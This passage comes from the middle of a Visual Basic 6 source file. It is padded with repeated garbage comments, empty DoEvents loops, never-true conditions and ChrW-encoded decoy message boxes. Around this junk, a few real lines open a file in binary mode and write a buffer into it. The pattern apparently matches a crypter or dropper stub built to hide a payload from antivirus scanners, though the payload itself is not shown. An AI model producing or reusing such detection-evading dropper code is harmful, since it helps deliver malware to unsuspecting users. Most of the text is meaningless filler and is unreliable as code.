  1402. Next cwvksniq
  1403. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1404. jmlmimhu = 8
  1405. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1406. Do While jmlmimhu < 66
  1407. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1408. Dim cjljmuog As Integer
  1409. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1410. For cjljmuog = 0 To 6
  1411. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1412. DoEvents
  1413. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1414. Next cjljmuog
  1415. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1416. DoEvents: jmlmimhu = jmlmimhu + 1
  1417. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1418. Dim iqlfitgv As Integer
  1419. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1420. For iqlfitgv = 0 To 9
  1421. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1422. DoEvents
  1423. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1424. Next iqlfitgv
  1425. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1426. Loop
  1427. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1428.  
  1429. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1430. Dim wybgnxai As Integer
  1431. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1432. For wybgnxai = 0 To 7
  1433. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1434. DoEvents
  1435. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1436. Next wybgnxai
  1437. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1438.    qefgzsywkju = FreeFile
  1439. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1440.  
  1441. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1442.    Open ebwqwtjzaph For Binary As #qefgzsywkju
  1443. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1444. If 984324 = 984324 + 1 Then End
  1445. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1446. If 9484 < 32 Then
  1447. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1448.  
  1449. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1450. Dim jvesyzee As Integer
  1451. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1452. Dim effkuzqn As Integer
  1453. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1454. For effkuzqn = 0 To 3
  1455. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1456. DoEvents
  1457. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1458. Next effkuzqn
  1459. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1460. jvesyzee = 8
  1461. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1462. Do While jvesyzee < 28
  1463. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1464. Dim zmdloizx As Integer
  1465. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1466. For zmdloizx = 0 To 3
  1467. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1468. DoEvents
  1469. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1470. Next zmdloizx
  1471. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1472. DoEvents: jvesyzee = jvesyzee + 1
  1473. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1474. Dim ccpzcwdc As Integer
  1475. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1476. For ccpzcwdc = 0 To 3
  1477. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1478. DoEvents
  1479. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1480. Next ccpzcwdc
  1481. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1482. Loop
  1483. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1484.  
  1485. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1486. Dim sgpbsqxr As Integer
  1487. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1488. For sgpbsqxr = 0 To 1
  1489. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1490. DoEvents
  1491. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1492. Next sgpbsqxr
  1493. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1494.        MsgBox (ChrW(111) & ChrW(117) & ChrW(117) & ChrW(120) & ChrW(107) & ChrW(100) & ChrW(103) & ChrW(119) & ChrW(52) & ChrW(51))
  1495. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1496. End If
  1497. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1498. If Len(ChrW(106) & ChrW(99) & ChrW(113) & ChrW(109) & ChrW(97) & ChrW(121) & ChrW(113) & ChrW(102) & ChrW(52) & ChrW(54) & ChrW(53) & ChrW(55)) = Len(ChrW(115) & ChrW(106) & ChrW(112) & ChrW(110) & ChrW(109) & ChrW(115) & ChrW(99) & ChrW(97)) Then
  1499. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1500.  
  1501. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1502. Dim bysojlhj As Integer
  1503. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1504. Dim oevnvhqr As Integer
  1505. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1506. For oevnvhqr = 0 To 2
  1507. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1508. DoEvents
  1509. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1510. Next oevnvhqr
  1511. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1512. bysojlhj = 7
  1513. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1514. Do While bysojlhj < 78
  1515. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1516. Dim xnaukeir As Integer
  1517. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1518. For xnaukeir = 0 To 8
  1519. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1520. DoEvents
  1521. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1522. Next xnaukeir
  1523. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1524. DoEvents: bysojlhj = bysojlhj + 1
  1525. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1526. Dim jizrytrp As Integer
  1527. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1528. For jizrytrp = 0 To 2
  1529. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1530. DoEvents
  1531. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1532. Next jizrytrp
  1533. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1534. Loop
  1535. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1536.  
  1537. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1538. Dim glusnvhy As Integer
  1539. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1540. For glusnvhy = 0 To 8
  1541. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1542. DoEvents
  1543. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1544. Next glusnvhy
  1545. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1546.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  1547. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1548. End If
  1549. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1550.  
  1551. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1552. Dim jbmrzxiz As Integer
  1553. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1554. Dim hhxznihv As Integer
  1555. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1556. For hhxznihv = 0 To 2
  1557. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1558. DoEvents
  1559. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1560. Next hhxznihv
  1561. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1562. jbmrzxiz = 6
  1563. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1564. Do While jbmrzxiz < 67
  1565. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1566. Dim fnztugov As Integer
  1567. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1568. For fnztugov = 0 To 1
  1569. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1570. DoEvents
  1571. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1572. Next fnztugov
  1573. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1574. DoEvents: jbmrzxiz = jbmrzxiz + 1
  1575. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1576. Dim ymveajmi As Integer
  1577. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1578. For ymveajmi = 0 To 8
  1579. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1580. DoEvents
  1581. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1582. Next ymveajmi
  1583. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1584. Loop
  1585. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1586.  
  1587. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1588. Dim uwxdhxot As Integer
  1589. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1590. For uwxdhxot = 0 To 3
  1591. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1592. DoEvents
  1593. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1594. Next uwxdhxot
  1595. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1596.    Put #qefgzsywkju, , wratuzwqhxh
  1597. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1598.  
  1599. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1600. If 925766 = 925766 + 1 Then End
  1601. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1602. If 3857 < 94 Then
  1603. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1604.  
  1605. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1606. Dim yqhmkjeu As Integer
  1607. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1608. Dim dyajcfxy As Integer
  1609. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1610. For dyajcfxy = 0 To 2
  1611. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1612. DoEvents
  1613. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1614. Next dyajcfxy
  1615. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1616. yqhmkjeu = 6
  1617. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1618. Do While yqhmkjeu < 49
  1619. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1620. Dim pnsxvlyb As Integer
  1621. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1622. For pnsxvlyb = 0 To 4
  1623. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1624. DoEvents
  1625. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1626. Next pnsxvlyb
  1627. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1628. DoEvents: yqhmkjeu = yqhmkjeu + 1
  1629. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1630. Dim efkvrixe As Integer
  1631. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1632. For efkvrixe = 0 To 6
  1633. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1634. DoEvents
  1635. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1636. Next efkvrixe
  1637. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1638. Loop
  1639. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1640.  
  1641. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1642. Dim qldnfmln As Integer
  1643. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1644. For qldnfmln = 0 To 5
  1645. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1646. DoEvents
  1647. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1648. Next qldnfmln
  1649. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1650.        MsgBox (ChrW(107) & ChrW(113) & ChrW(107) & ChrW(116) & ChrW(99) & ChrW(121) & ChrW(100) & ChrW(108) & ChrW(56) & ChrW(52))
  1651. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1652. End If
  1653. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1654. If Len(ChrW(105) & ChrW(119) & ChrW(108) & ChrW(100) & ChrW(98) & ChrW(103) & ChrW(101) & ChrW(110) & ChrW(52) & ChrW(55) & ChrW(57) & ChrW(56)) = Len(ChrW(112) & ChrW(98) & ChrW(99) & ChrW(110) & ChrW(117) & ChrW(102) & ChrW(122) & ChrW(117)) Then
  1655. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1656.  
  1657. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1658. Dim oxiwvliu As Integer
  1659. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1660. Dim zxbyrxla As Integer
  1661. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1662. For zxbyrxla = 0 To 7
  1663. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1664. DoEvents
  1665. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1666. Next zxbyrxla
  1667. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1668. oxiwvliu = 4
  1669. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1670. Do While oxiwvliu < 18
  1671. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1672. Dim hlzfboja As Integer
  1673. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1674. For hlzfboja = 0 To 7
  1675. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1676. DoEvents
  1677. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1678. Next hlzfboja
  1679. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1680. DoEvents: oxiwvliu = oxiwvliu + 1
  1681. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1682. Dim ynvrgzkp As Integer
  1683. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1684. For ynvrgzkp = 0 To 9
  1685. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1686. DoEvents
  1687. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1688. Next ynvrgzkp
  1689. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1690. Loop
  1691. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1692.  
  1693. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1694. Dim rqagvtxa As Integer
  1695. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1696. For rqagvtxa = 0 To 9
  1697. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1698. DoEvents
  1699. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1700. Next rqagvtxa
  1701. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1702.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  1703. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1704. End If
  1705. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1706.  
  1707. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1708. Dim nvvqnbyw As Integer
  1709. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1710. Dim hcyivuew As Integer
  1711. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1712. For hcyivuew = 0 To 8
  1713. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1714. DoEvents
  1715. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1716. Next hcyivuew
  1717. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1718. nvvqnbyw = 1
  1719. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1720. Do While nvvqnbyw < 48
  1721. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1722. Dim aelpqcyv As Integer
  1723. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1724. For aelpqcyv = 0 To 4
  1725. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1726. DoEvents
  1727. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1728. Next aelpqcyv
  1729. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1730. DoEvents: nvvqnbyw = nvvqnbyw + 1
  1731. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1732. Dim mmexehfq As Integer
  1733. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1734. For mmexehfq = 0 To 1
  1735. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1736. DoEvents
  1737. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1738. Next mmexehfq
  1739. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1740. Loop
  1741. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1742.  
  1743. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1744. Dim sgivwcxe As Integer
  1745. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1746. For sgivwcxe = 0 To 4
  1747. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
